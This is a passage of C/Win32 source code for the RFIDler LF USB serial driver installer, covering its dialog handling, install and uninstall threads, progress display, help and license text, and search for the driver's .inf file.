!defined(_DEBUG)\n                    if (insInfo.rebootRequired) {\n                        #pragma warning( suppress: 28159)\n                        InitiateSystemShutdownEx(NULL,\n                            L\"Reboot to complete RFIDler LF Driver install\",\n                            0, FALSE, TRUE, REASON_PLANNED_FLAG | REASON_HWINSTALL);\n                    }\n                    EndDialog (hWnd, 0);\n#endif\n                    handled++;\n                    break;\n\n                case ID_HELP_ABOUT:\n                case ID_HELP_RFIDLERLFINSTALL:\n                    // pretty help information\n                    DialogBoxParam(hInst, MAKEINTRESOURCE(IDD_HELP_ABOUT), hWnd, AboutDlgProc, (LPARAM) wID);\n                    handled++;\n                    break;\n\n#if defined(_DEBUG)\n                case IDC_TESTBUTTON:\n                    {   // test various stuff: progress bar marquee mode\n                        static BOOL marquee = FALSE;\n                        static UINT testCount = 0;\n                        wchar_t *infPath = FindInstalledInf(hWnd);\n\n                        ReportStatus(hWndStatus, L\"FindInstalledInf() = %s\", infPath);\n                        if (infPath) {\n                            free(infPath);\n                        }\n\n                        if (!FindInfPath(hWnd, &insInfo.infpath)) {\n                            ReportStatus(hWndStatus, L\"Error: Cannot find rfidlercrc.inf\");\n                        } else {\n                            ReportStatus(hWndStatus, L\"Found %s\", insInfo.infpath);\n                            if (insInfo.infpath) {\n                                free(insInfo.infpath);\n                                insInfo.infpath = NULL;\n                            }\n                        }\n\n                        // toggle marquee progress bar, & for Win >= 7 the progress bar on the icon\n                        StartOrStopProgressMarquee(hWnd, hWndProg, pTbList, ProgBarState (testCount % PROG_MAX));\n\n                        if (testCount++ == 1) {\n                            ShowWindow(hRebootButton, SW_SHOWNORMAL);\n                            EnableWindow(hRebootButton, TRUE);\n                        }\n                    }\n                    handled++;\n                    break;\n#endif\n\n                case IDC_EXIT:\n                    // do not allow close whilst install / uninstall thread is in-progress\n                    if (!installing) {\n                        EndDialog (hWnd, 0);\n                    }\n                    handled++;\n                    break;\n                }\n            } // BN_CLICKED\n        } // WM_COMMAND\n        break;\n\n    case WM_PRIVATE_UNINSTALL_INF:\n        if (installing) {\n            const int n_messages = 4;\n            const wchar_t *infMessage [n_messages] = {\n                L\"Could not find \" RFIDLER_INF_NAME L\" file\",\n                RFIDLER_INF_NAME L\" file in use by connected RFIDlers\",\n                L\"Removal of %s file failed\",\n                L\"Removed installed %s file\",\n            };\n\n            if (wParam < n_messages) {\n                wchar_t *infPath = (wchar_t*) lParam;\n\n                ReportStatus(hWndStatus, infMessage[wParam], infPath);\n                if (infPath) {\n                    free(infPath);\n                }\n            }\n        }\n        handled++;\n        break;\n\n    case WM_PRIVATE_UNINSTALL_COMPORT:\n        // wParam should indicate the removed COM port number\n        if (installing) {\n            ReportStatus(hWndStatus, L\"Uninstalling RFIDler LF on COM%u\", wParam);\n        }\n        handled++;\n        break;\n\n    case WM_PRIVATE_UPDATE_PROGRESS:\n        // wParam should indicate how the .inf file was copied, message to display\n        if (installing) {\n            const int n_messages = 3;\n            const wchar_t *updateMessage [n_messages] = {\n                L\"%s copied by Windows for unconnected RFIDlers\",\n                L\"%s installed for connected RFIDlers ...\",\n                L\"updating previously installed RFIDlers\",\n            };\n\n            if (wParam < n_messages) {\n                ReportStatus(hWndStatus, updateMessage[wParam]);\n            }\n        }\n        handled++;\n        break;\n\n    case WM_PRIVATE_UPDATE_COMPLETE:\n        if (installing) {\n            installing = FALSE;\n            if (insInfo.infpath) {\n                free(insInfo.infpath);\n                insInfo.infpath = NULL;\n            }\n            /* notification from installer thread: install success (or previously installed) => Complete, otherwise error */\n            StartOrStopProgressMarquee(hWnd, hWndProg, pTbList, (wParam != 0) ? PROG_COMPLETE : PROG_ERROR);\n\n            EnableAndFocusOnFinishButton(hWnd);\n\n            if (wParam) {\n                if (insInfo.rebootRequired) {\n                    ReportStatus(hWndStatus, L\"Windows reboot required to complete installation\");\n                    ShowWindow(hRebootButton, SW_SHOWNORMAL);\n                    EnableWindow(hRebootButton, TRUE);\n                } else {\n                    ReportStatus(hWndStatus,\n                        (insInfo.insError == ERROR_SUCCESS) ? L\"Driver install complete\" : L\"Driver already installed\");\n                    if (!insInfo.devConnected) {\n                        ReportStatus(hWndStatus, L\"Connect your RFIDler LF now\");\n                    }\n                }\n            } else {\n                wchar_t *errmsg = NULL;\n                switch (insInfo.insError)\n                {\n                case ERROR_FILE_NOT_FOUND:\n                    errmsg = L\"Error: \" RFIDLER_INF_NAME L\" file not found\";\n                    break;\n                case ERROR_IN_WOW64:\n                    errmsg = L\"Error: x86 installer failed on 64-bit Windows\";\n                    break;\n                default:\n                    errmsg = L\"Error: driver install failed (error = %X)\";\n                    break;\n                }\n                ReportStatus(hWndStatus, errmsg, insInfo.insError);\n                MessageBeep(0xFFFFFFFF);\n            }\n        }\n        handled++;\n        break;\n\n    case WM_PRIVATE_UNINSTALL_COMPLETE:\n        if (installing) {\n            installing = FALSE;\n\n            StartOrStopProgressMarquee(hWnd, hWndProg, pTbList, (insInfo.insError == NO_ERROR) ? PROG_COMPLETE : PROG_ERROR);\n\n            EnableAndFocusOnFinishButton(hWnd);\n\n            if (insInfo.insError == NO_ERROR) {\n                if (insInfo.rebootRequired) {\n                    ReportStatus(hWndStatus, L\"Windows reboot required to complete uninstall\");\n                    ShowWindow(hRebootButton, SW_SHOWNORMAL);\n                    EnableWindow(hRebootButton, TRUE);\n                } else {\n                    ReportStatus(hWndStatus,\n                        (insInfo.uninstallType == IDC_UNINSTALLDRIVER) ?\n                        L\"Driver uninstall complete\" : L\"Uninstall of RFIDlers complete\");\n                }\n            } else {\n                MessageBeep(0xFFFFFFFF);\n                if (!wParam) {\n                    // Driver uninstall failed to find & remove .inf file (eg Windows blocks uninstall if RFIDlers still connected & using driver)\n                    ReportStatus(hWndStatus, L\"Driver uninstall failed\");\n                } else {\n                    ReportStatus(hWndStatus, L\"Error: %s failed (error = %X)\",\n                        (insInfo.uninstallType == IDC_UNINSTALLDRIVER) ?\n                        L\"Driver uninstall\" : L\"Uninstall of RFIDlers\",\n                        insInfo.insError);\n                }\n            }\n            handled++;\n        }\n        break;\n\n    case WM_CLOSE:\n        // do not allow close whilst install / uninstall is in-progress\n        if (!installing) {\n            EndDialog (hWnd, 0);\n        }\n        handled++;\n        break;\n\n    default:\n#if defined(_DEBUG)\n        if ((iMsg > 0x400) && hWndStatus) {\n            if (TbCreatedNotification != iMsg) {\n                ReportStatus(hWndStatus, L\"Info: received unhandled Msg (0x%X)\", iMsg);\n            }\n        }\n#endif\n        if ((TbCreatedNotification != 0) && (TbCreatedNotification == iMsg)) {\n            // initial Taskbar button creation, or Windows Explorer has restarted\n            pTbList = NULL;\n\n            // if we get the interface then intialise (note using C++ here)\n            if (SUCCEEDED(CoCreateInstance(CLSID_TaskbarList, NULL, CLSCTX_ALL, IID_ITaskbarList3, (void**)&pTbList))) {\n                pTbList->HrInit();\n            }\n        }\n        break;\n    }\n\n    // 1 = handled here, 0 = pass to default handling\n    return handled;\n}   /* InstallerDlgProc() */\n\n\nBOOL LaunchInstallOrUninstall(BOOL installAction, HWND hWnd, HWND hWndStatus, HWND hWndProg, ITaskbarList3* pTbList, InstallInfo *pInsInfo, int wID)\n{\n    BOOL installing = FALSE;\n    BOOL isSafe = IsSafeToInstall(500);\n\n    if (!isSafe) {\n        // Found New Hardware Wizard might be active\n        ReportStatus(hWndStatus, L\"Error: Windows Installer is running, retry when it has finished\");\n    } else if (installAction && !FindInfPath(hWnd, &pInsInfo->infpath)) {\n        ReportStatus(hWndStatus, L\"Error: Cannot find rfidlercrc.inf\");\n    } else {\n        // launch background thread for installer/uninstaller\n        HANDLE hThread;\n\n        // uninstall button id is used to distinguish the 3 uninstall functions\n        pInsInfo->uninstallType = wID;\n\n        SetWindowText(GetDlgItem(hWnd, IDC_STATUS_TITLE), \n            installAction ? L\"Install Report:\" : L\"Uninstall Report:\");\n\n        hThread = CreateThread(NULL, 0,\n                    installAction ? DriverInstallThreadProc : DriverUninstallThreadProc,\n                    pInsInfo, 0, NULL);\n\n        if(hThread) {\n            installing = TRUE;\n            // Okay: close handle for install thread.\n            CloseHandle(hThread);\n\n            // enable/show progress bar, disable buttons\n            StartOrStopProgressMarquee(hWnd, hWndProg, pTbList, PROG_START);\n            EnableWindow (GetDlgItem(hWnd, IDC_INSTALL), FALSE);\n            EnableWindow (GetDlgItem(hWnd, IDC_UNINSTALL_ALL_RFIDLERS), FALSE);\n            EnableWindow (GetDlgItem(hWnd, IDC_UNINSTALL_NOT_PRESENT), FALSE);\n            EnableWindow (GetDlgItem(hWnd, IDC_UNINSTALLDRIVER), FALSE);\n            EnableWindow (GetDlgItem(hWnd, IDC_EXIT), FALSE);\n\n            if (installAction) {\n                ReportStatus(hWndStatus, L\"Installing driver and all connected RFIDlers ...\");\n            } else {\n                wchar_t * uninstallType = \n                    (IDC_UNINSTALL_ALL_RFIDLERS == wID) ? L\"all RFIDlers\" : \n                    (IDC_UNINSTALL_NOT_PRESENT == wID) ? L\"not connected RFIDlers\" : L\"RFIDlers and driver\";\n\n                ReportStatus(hWndStatus, L\"Uninstalling %s ...\", uninstallType);\n            }\n        } else {\n            ReportStatus(hWndStatus, L\"Error: %s failed to start (error %X)\",\n                installAction ? L\"Install\" : L\"Uninstall\",\n                GetLastError());\n        }\n    }\n\n    if (!installing) {\n        MessageBeep(0xFFFFFFFF);\n        // TODO? timed MessageBox\n    }\n    return installing;\n}\n\n\nvoid StartOrStopProgressMarquee(HWND hWnd, HWND hWndProgBar, ITaskbarList3* pTbList, ProgBarState pbState)\n{\n    // comctrl32 v6 required; set & show or clear & hide progress bar in marquee mode\n    // also for Windows >= 7, start/stop marquee progress bar on the icon\n    static BOOL marquee = FALSE;\n\n    switch (pbState)\n    {\n    case PROG_START: // start marquee\n        ShowWindow(hWndProgBar, SW_NORMAL);\n        if (!marquee) {\n            LONG style = GetWindowLong(hWndProgBar, GWL_STYLE);\n            if (! (style & PBS_MARQUEE)) {\n                SetWindowLong(hWndProgBar, GWL_STYLE, style | PBS_MARQUEE);\n            }\n\n            SendMessage(hWndProgBar, PBM_SETMARQUEE, TRUE, 0);\n            marquee = TRUE;\n\n            if (pTbList) {\n                pTbList->SetProgressState(hWnd, TBPF_INDETERMINATE);\n            }\n        }\n        break;\n\n    case PROG_ERROR: // stop marquee at 100% & display as red\n    case PROG_COMPLETE: // stop marquee at 100% & display as green\n        if (marquee) {\n            LONG style = GetWindowLong(hWndProgBar, GWL_STYLE);\n            if (style & PBS_MARQUEE) {\n                SetWindowLong(hWndProgBar, GWL_STYLE, style & ~PBS_MARQUEE);\n                SendMessage(hWndProgBar, PBM_SETMARQUEE, FALSE, 0);\n            }\n            marquee = FALSE;\n        }\n        SendMessage(hWndProgBar, PBM_SETRANGE32, 0, 100);\n        SendMessage(hWndProgBar, PBM_SETPOS, 100, 0);\n        SendMessage(hWndProgBar, PBM_SETSTATE, (PROG_COMPLETE == pbState) ? PBST_NORMAL : PBST_ERROR, 0);\n        if (pTbList) {\n            // set progress (default is 0, so e.g. red hardly shows)\n            pTbList->SetProgressState(hWnd, (PROG_COMPLETE == pbState) ? TBPF_NORMAL : TBPF_ERROR);\n            pTbList->SetProgressValue(hWnd, 100, 100);\n        }\n        break;\n\n    case PROG_HIDE:\n    default:\n        // remove marquee\n        if (marquee) {\n            SendMessage(hWndProgBar, PBM_SETMARQUEE, FALSE, 0);\n            marquee = FALSE;\n        }\n        ShowWindow(hWndProgBar, SW_HIDE);\n        if (pTbList) {\n            pTbList->SetProgressState(hWnd, TBPF_NOPROGRESS);\n        }\n        break;\n    }\n}\n\n\nvoid EnableAndFocusOnFinishButton(HWND hWnd)\n{\n    SetWindowText(GetDlgItem(hWnd, IDC_EXIT), L\"Finish\");\n    EnableWindow (GetDlgItem(hWnd, IDC_EXIT), TRUE);\n\n    // set dialog focus\n    SendMessage(hWnd, WM_NEXTDLGCTL, (WPARAM)GetDlgItem(hWnd, IDC_EXIT), TRUE);\n}\n\n\n// program description and decide copyright licensing info\nstatic const wchar_t *helpInstallTitle = L\"RFIDLer LF Driver Installer v%u.%u.%u\";\nstatic const wchar_t *helpInstallText =\n    L\"RFIDler LF appears to the computer as a USB COM (serial) port, and works with the\\r\\n\"\n    L\"standard Windows driver for USB serial ports, usbser.sys. (Prior to Windows 10 usbser\\r\\n\"\n    L\"has a bug in handling removal and return of USB COM ports when the device is in use.)\\r\\n\"\n    L\"\\r\\n\"\n    L\"Windows 10 should automatically recognise RFIDler LF as a USB COM port so nothing\\r\\n\"\n    L\"needs to be installed.\\r\\n\"\n    L\"\\r\\n\"\n    L\"Windows XP, Vista or 7:\\r\\n\"\n    L\"A simple driver information file (\" RFIDLER_INF_NAME L\") tells Windows which driver to use, and \\r\\n\"\n    L\"such details as manufacturer (Aperture Labs Ltd) and the product name (RFIDler LF).\\r\\n\"\n    L\"For Windows Vista or 7 must be configured to accept unsigned drivers.\\r\\n\"\n    L\"\\r\\n\"\n    L\"Windows 8.x: Although \" RFIDLER_INF_NAME L\" simply tells Windows to use Microsoft's standard\\r\\n\"\n    L\"USB serial port driver (usbser.sys) Windows wants the .inf file to be signed as valid.\\r\\n\"\n    L\"This is unfortunately not currently supported. Therefore this install will only work if\\r\\n\"\n    L\"Windows can be configured not to enforce signing of drivers.\\r\\n\";\n\nstatic const wchar_t *helpAboutTitle = L\"Help About RFIDLer LF Driver Installer v%u.%u.%u\";\nstatic const wchar_t *helpAboutText =\n    L\"This installer is Copyright (c) 2014-2015 Anthony Naggs, all rights reserved.\\r\\n\"\n    L\"Limited rights are assigned through BSD 2-Clause License, see bottom of text.\\r\\n\"\n    L\"\\r\\n\"\n    L\"This installer provides a simple interface to install \" RFIDLER_INF_NAME L\" to tell\\r\\n\"\n    L\"Windows that RFIDlers are USB COM (serial) ports, uninstall RFIDler LF devices,\\r\\n\"\n    L\"or uninstall the \" RFIDLER_INF_NAME L\" file. (Note that Windows may keep a copy.)\\r\\n\"\n    L\"\\r\\n\"\n    L\"Alternatively to using the installer you can connect your RFIDler LF, find it in\\r\\n\"\n    L\"Windows Device Manager (via the Control Panel) and update the driver there.\\r\\n\"\n    L\"\\r\\n\"\n    L\"This installer needs to run as local Administrator in order to copy or remove files\\r\\n\"\n    L\"to/from, Windows protected directories.\\r\\n\"\n    L\"\\r\\n\"\n    L\"Two versions of the installer are supplied:\\r\\n\"\n    L\"* rfidlerinstall-x86.exe for 32-bit versions of Windows, and\\r\\n\"\n    L\"* rfidlerinstall-x64.exe for 64-bit versions of Windows.\\r\\n\"\n    L\"\\r\\n\"\n    L\".....................................................\\r\\n\\r\\n\"\n    L\"Copyright information below ...\\r\\n\"\n    L\"\\r\\n\"\n    L\"Limited assignment of rights under the 'BSD 2-Clause License':\\r\\n\"\n    L\"\\r\\n\"\n    L\"Redistribution and use in source and binary forms, with or without modification, are \\r\\n\"\n    L\"permitted provided that the following conditions are met:\\r\\n\"\n    L\"\\r\\n\"\n    L\"1. Redistributions of source code must retain the above copyright notice, this list of\\r\\n\"\n    L\"     conditions and the following disclaimer.\\r\\n\"\n    L\"\\r\\n\"\n    L\"2. Redistributions in binary form must reproduce the above copyright notice, this list\\r\\n\"\n    L\"     list of conditions and the following disclaimer in the documentation and/or other\\r\\n\"\n    L\"     materials provided with the distribution.\\r\\n\"\n    L\"\\r\\n\"\n    L\"THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \\r\\n\"\n    L\"\\\"AS IS\\\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT \\r\\n\"\n    L\"LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR \\r\\n\"\n    L\"A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT \\r\\n\"\n    L\"HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \\r\\n\"\n    L\"SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT \\r\\n\"\n    L\"LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, \\r\\n\"\n    L\"DATA, ORPROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY \\r\\n\"\n    L\"THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT \\r\\n\"\n    L\"(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE \\r\\n\"\n    L\"OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\";\n\n/*\n    Notes:\n    On Windows XP it is to check/change driver signing checks:\n    Windows Control Panel select System -> Hardware -> Driver Signing\n*/\n\n\n//  get .exe file version for use in title eg GetFileVersionInfoSize() & GetFileVersionInfo()\nvoid FormatTitleWithVersion(HWND hDlg, const wchar_t *title)\n{\n#define KTitleSize 100\n    static wchar_t dialogTitle[KTitleSize];\n    wchar_t *fname = NULL;\n    BOOL    gotfileversion = FALSE;\n\n    // get version number from exe\n    if (GetProgramFilename(&fname)) {\n        DWORD verSize = GetFileVersionInfoSize(fname, NULL);\n        if (verSize > 0) {\n            void *buffer = calloc(1, verSize);\n\n            if (buffer) {\n                void *fInfo = NULL;\n                UINT rxInfoSize = 0;\n\n                if (GetFileVersionInfo(fname, 0, verSize, buffer) && \n                        VerQueryValue(buffer, L\"\\\\\", &fInfo, &rxInfoSize) && fInfo && rxInfoSize) {\n                    VS_FIXEDFILEINFO *info = (VS_FIXEDFILEINFO *) fInfo;\n\n                    if (info->dwSignature == 0xfeef04bd) {\n                        StringCchPrintf(dialogTitle, KTitleSize, title,\n                            HIWORD(info->dwProductVersionMS),\n                            LOWORD(info->dwProductVersionMS),\n                            HIWORD(info->dwProductVersionLS));\n                        gotfileversion = TRUE;\n                    }\n                }\n\n                free(buffer);\n                }\n            }\n        free(fname);\n    }\n\n    if (!gotfileversion) {\n        // at least at 0.3.0\n        StringCchPrintf(dialogTitle, KTitleSize, title, 0, 3, 0);\n    }\n    SetWindowText(hDlg, dialogTitle);\n}\n\n\nINT_PTR CALLBACK AboutDlgProc(HWND hDlg, UINT iMsg, WPARAM wParam, LPARAM lParam)\n{\n    /* IDD_HELP_ABOUT */\n\n    lParam; // suppress unreferenced parameter warning\n\n    switch (iMsg) {\n    case WM_INITDIALOG:\n        // ID_HELP_ABOUT or ID_HELP_RFIDLERLFINSTALL\n        if (lParam == ID_HELP_RFIDLERLFINSTALL) {\n            FormatTitleWithVersion(hDlg, helpInstallTitle);\n            SetWindowText(GetDlgItem(hDlg, IDC_HELP_TEXT), helpInstallText);\n        } else {\n            FormatTitleWithVersion(hDlg, helpAboutTitle);\n            SetWindowText(GetDlgItem(hDlg, IDC_HELP_TEXT), helpAboutText);\n        }\n\n        // return TRUE  unless you set the focus to a control\n        return TRUE;\n\n    case WM_COMMAND: \n        switch (LOWORD(wParam)) {\n        case IDOK :\n\t    EndDialog (hDlg, wParam);\n\t    /* handled message */\n\t    return 1;\n        }\n        break;\n    }\n\n    return 0;\n}   /* AboutDlgProc() */\n\n\n// Find the rfidlercdc.inf file needed for driver install\nBOOL FindInfPath(HWND hWnd, wchar_t **aPath)\n{\n    // NULL terminated list of subirectories to search\n    const wchar_t *szIndSubdirList[] =\n        { \n            L\"windows driver\\\\inf\", L\"inf\",\n            L\"..\\\\windows driver\\\\inf\", L\"..\\\\inf\",\n            NULL };\n    wchar_t *fname = NULL;\n    BOOL    result = FALSE;\n\n    // start with installer's file & directory path\n    if (GetProgramFilename(&fname)) {\n        wchar_t *split = _tcsrchr(fname, '\\\\');\n\n        if (split) {\n            split[1] = 0; // truncate after last '\\'\n\n            result = TestFileNameAndPath(fname, szRfidlerInfName, aPath, szIndSubdirList);\n\n            // use Open File dialog to find Rfidler .inf file\n            if (!result) {\n                result = UserSearchForInfFile(hWnd, aPath, fname);\n            }\n        }\n    }\n\n    if (fname) {\n        free(fname);\n    }\n\n    return result;\n}\n\n\n/* retry wrapper around GetModuleFileName() with growing buffer */\nBOOL GetProgramFilename(wchar_t **fname)\n{\n    unsigned sz = 128;\n    DWORD    res;\n    wchar_t  *f;\n\n    do {\n        sz *= 2;\n        f = (wchar_t *) calloc(sz, sizeof(wchar_t));\n        if (f == NULL) {\n            /* OOM */\n            return FALSE;\n        }\n\n        res = GetModuleFileName(NULL, f, sz);\n        if ((res > 0) && (res < (sz - 1))) {\n            *fname = f;\n            return TRUE;\n        }\n\n        free(f);\n        f = NULL;\n    } while ( (res != 0) && (sz < 32768) );\n\n    /* function failed or buffer is ridiculously large */\n    return FALSE;\n}\n\n\n/*\n    ask user thru Open File dialog to find missing rfidlercdc.inf\n\n    Use GetOpenFileName() for WinXp compatibility. as IFileOpenDialog()\n    is Vista & later only.\n    */\nBOOL UserSearchForInfFile(HWND hWnd, wchar_t **aPath, wchar_t *aInitialPath)\n{\n    DWORD        fileNameSize = (DWORD) _tcslen(aInitialPath);\n    OPENFILENAME ofn;\n    wchar_t      *name;\n    BOOL         result = FALSE;\n\n    if (fileNameSize < 1024) {\n        fileNameSize = 1024;\n    } else {\n        fileNameSize += 100;\n    }\n\n    name = (wchar_t *)calloc(fileNameSize, sizeof(wchar_t));\n\n    if (name) {\n        ZeroMemory(&ofn, sizeof(OPENFILENAME));\n        ofn.lStructSize = sizeof(OPENFILENAME);\n        ofn.hwndOwner = hWnd;\n        ofn.lpstrInitialDir = aInitialPath;\n        ofn.lpstrTitle = L\"Find \" RFIDLER_INF_NAME L\" required for driver install\";\n        ofn.Flags = OFN_DONTADDTORECENT | OFN_FILEMUSTEXIST | OFN_NOCHANGEDIR | OFN_PATHMUSTEXIST\n            | OFN_HIDEREADONLY | OFN_ENABLEHOOK | OFN_EXPLORER | OFN_ENABLESIZING;\n        ofn.nMaxFile = fileNameSize;\n        ofn.lpstrFile = name;\n        ofn.lpstrFilter = L\"Driver install info (*.inf)\\0*.inf\\0\\0\";\n        ofn.lpstrDefExt = L\"inf\";\n        // Restrict selection to rfidlercdc.inf\n        ofn.lpfnHook = OFNHookCheckFilenameProc;\n\n        result = GetOpenFileName(&ofn);\n\n        if (result) {\n            // resize buffer, and transfer ownership,\n            *aPath = (wchar_t *) realloc(name, (_tcslen(name) + 1) * sizeof(wchar_t));\n        } else {\n            DWORD err = CommDlgExtendedError();\n            free(name);\n        }\n    }\n\n    return result;\n}\n\n\n// enforce that selected file is named rfidlercdc.inf\nUINT_PTR CALLBACK OFNHookCheckFilenameProc(HWND hDlg, UINT uiMsg, WPARAM wParam, LPARAM lParam)\n{\n    int handled = 0;\n\n    switch(uiMsg)\n    {\n    case WM_NOTIFY:\n        {   \n            LPOFNOTIFY notify = (LPOFNOTIFY) lParam;\n\n            if (notify->hdr.code == CDN_FILEOK) {\n                // file name is/is not okay?\n                wchar_t *filenameElement = notify->lpOFN->lpstrFile + notify->lpOFN->nFileOffset;\n                if (_tcscmp(filenameElement, szRfidlerInfName)) {\n                    // Note DWL_MSGRESULT not declared in Win64 builds, use DWLP_MSGRESULT instead\n                    SetWindowLongPtr(hDlg, DWLP_MSGRESULT, 1);\n                }\n                handled++;\n            }\n        }\n        break;\n    }\n    return handled;\n}\n\n\n// helpers for TestFileNameAndPath(), trim lowest directory level from path, used for handling \"..\\\"\nvoid TrimDirectoryLevel(wchar_t *namebuff, size_t dirLen)\n{\n    if (dirLen < 2) {\n        return;\n    }\n\n    // trim lowest directory unless we have hit \"x:\\\" or \"\\\\?\\\"\n    if (namebuff[dirLen - 1] == L'\\\\') {\n        if ((namebuff[dirLen - 2] == L':') || (namebuff[dirLen - 2] == L'?')) {\n            return;\n        }\n        dirLen--;\n    }\n    while (dirLen) {\n        if (namebuff[dirLen - 1] == L'\\\\') {\n            namebuff[dirLen] = 0;\n            break;\n        }\n        dirLen--;\n    }\n}\n\n\nBOOL TestPathAndFileNameHelper(wchar_t *namebuff, size_t newsz, const wchar_t *basePath, \n    const wchar_t *fileName, const wchar_t *subdir)\n{\n    size_t  dirLen = basePath ? _tcslen(basePath) : 0;\n    DWORD   attributes = 0;\n\n    // fill buffer with base path\n    if (dirLen) {\n        _tcsncpy_s(namebuff, newsz, basePath, _TRUNCATE);\n    } else {\n        namebuff[0] = 0;\n    }\n\n    if (subdir) {\n        // handle \"..\\\" in subdirectory\n        while (!wcsncmp(subdir, L\"..\\\\\", 3)) {\n            subdir += 3;\n            TrimDirectoryLevel(namebuff, dirLen);\n        }\n        _tcsncat_s(namebuff, newsz, subdir, _TRUNCATE);\n    }\n\n    // ensure '\\' at end of path\n    dirLen = _tcslen(namebuff);\n    if (namebuff[dirLen-1] != L'\\\\') {\n        _tcsncat_s(namebuff, newsz, L\"\\\\\", _TRUNCATE);\n    }\n    \n    _tcsncat_s(namebuff, newsz, fileName, _TRUNCATE);\n#if defined(_DEBUG)\n    PrintDebugStatus( L\"\\\"%s\\\"\\n\", namebuff);\n#endif\n    attributes = GetFileAttributes(namebuff);\n    if (INVALID_FILE_ATTRIBUTES == attributes) {\n        return FALSE;\n    }\n    if ((FILE_ATTRIBUTE_DEVICE | FILE_ATTRIBUTE_DIRECTORY | FILE_ATTRIBUTE_ENCRYPTED | FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_OFFLINE |\n            FILE_ATTRIBUTE_REPARSE_POINT | FILE_ATTRIBUTE_SPARSE_FILE | FILE_ATTRIBUTE_TEMPORARY) & attributes) {\n        return FALSE;\n    }\n    return TRUE; // FILE_ATTRIBUTE_ARCHIVE | FILE_ATTRIBUTE_NORMAL | FILE_ATTRIBUTE_COMPRESSED | FILE_ATTRIBUTE_NOT_CONTENT_INDEXED | FILE_ATTRIBUTE_READONLY\n}\n\n\n/*\n    check whether file exists,\n    takes optional base directory, and list of subdirectories to search\n    optional output the matching full filename\n\n    If any subdirectories begin with \"..\" are they treated as moving up one level \n    of the base directory path.\n*/\nBOOL TestFileNameAndPath(const wchar_t *basePath, const wchar_t *fileName, wchar_t **outPath, const wchar_t **subDirList)\n{\n    BOOL result = FALSE;\n    size_t baseLen = basePath ? _tcslen(basePath) : 0;\n    size_t fileLen = _tcslen(fileName);\n    size_t maxSubDirLen = 0;\n\n    if (subDirList) {\n        int i;\n        for (i = 0; subDirList[i]; i++) {\n            size_t dirLen = _tcslen(subDirList[i]);\n            if (dirLen > maxSubDirLen) {\n                maxSubDirLen = dirLen;\n            }\n        }\n    }\n\n    if ((maxSubDirLen + baseLen) == 0) {\n        // simple test for file presence\n        if (INVALID_FILE_ATTRIBUTES != GetFileAttributes(fileName)) {\n            result = TRUE;\n        }\n    } else {\n        size_t newsz = 3 + baseLen + fileLen + maxSubDirLen;\n        wchar_t *namebuff = (wchar_t *)calloc(newsz, sizeof(wchar_t));\n        // beware, _tcsncpy_s & friends piss all over the 0s we asked calloc for :-(\n\n        if (namebuff) {\n            // first iter is base plus file, then search subdirectory list\n            const wchar_t *subdir = NULL;\n            do {\n                result = TestPathAndFileNameHelper(namebuff, newsz, basePath, fileName, subdir);\n                if (subDirList) {\n                    subdir = *(subDirList++);\n                }\n            } while (!result && subdir);\n\n            if (result && outPath) {\n                // resize buffer, and transfer buffer ownership\n                *outPath = (wchar_t *) realloc(namebuff, (_tcslen(namebuff) + 1) * sizeof(wchar_t));\n            } else {\n                free(namebuff);\n            }\n        }\n    }\n\n    return result;\n}\n\n\n/*\nwchar_t *GetWinDir()\n{\n    // get %SystemRoot% eg C:\\Windows\n    DWORD   dirLen = GetWindowsDirectory(NULL, 0);\n    wchar_t *windir = NULL;\n\n    if (dirLen) {\n        windir = (wchar_t *) calloc(dirLen, sizeof(wchar_t));\n        if (windir) {\n            GetWindowsDirectory(windir, dirLen);\n        }\n    }\n    return windir;\n}\n*/\n\n\n#if !defined(_WIN64)\n/* this wrapper for IsWow64Process() API is adapted from MSDN help text */\nBOOL IsWow64()\n{\n    typedef BOOL (WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);\n    HMODULE hModule;\n    LPFN_ISWOW64PROCESS fnIsWow64Process;\n    BOOL bIsWow64 = FALSE;\n\n    // IsWow64Process is not available on all supported versions of Windows.\n    // Use GetModuleHandle to get a handle to the DLL that contains the function\n    // and GetProcAddress to get a pointer to the function if available.\n    hModule = GetModuleHandle(L\"kernel32\");\n    if(!hModule)\n    {\n        // Should never happen\n        return FALSE;\n    }\n\n    fnIsWow64Process = (LPFN_ISWOW64PROCESS) GetProcAddress(\n        hModule,\"IsWow64Process\");\n\n    if(NULL != fnIsWow64Process)\n    {\n        // NB ignore error\n        fnIsWow64Process(GetCurrentProcess(), &bIsWow64);\n    }\n    return bIsWow64;\n}\n\n\n// is the native system running on AMD64 (x64)?\nBOOL IsSystemAMD64()\n{\n    SYSTEM_INFO si;\n\n    GetNativeSystemInfo(&si);\n    if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64) {\n        return TRUE;\n    }\n    return FALSE;\n}\n\n\n/*\n   Note after some investigation, I don't think we can launch 2nd installer as\n   Admin on Vista & later. (At least not unless we are already installed into\n   Program Files directrory.) This is due to the new User Access Control security\n   behaviour.\n   */\n#endif\n\n\n/*\n    Check whether another install/uninstall is in-progress.\n    This wrapper for CMP_WaitNoPendingInstallEvents() API adapted from MSDN  sample*/\ntypedef DWORD (WINAPI *CMP_WAITNOPENDINGINSTALLEVENTS_PROC) (DWORD);\n\nBOOL IsSafeToInstall(DWORD dwTimeout)\n{\n    HMODULE hModule;\n    CMP_WAITNOPENDINGINSTALLEVENTS_PROC pCMP_WaitNoPendingInstallEvents;\n\n    hModule = GetModuleHandle(L\"Cfgmgr32.dll\");\n    if(!hModule)\n    {\n        // Should never happen since we're linked to Cfgmgr32, but...\n        return 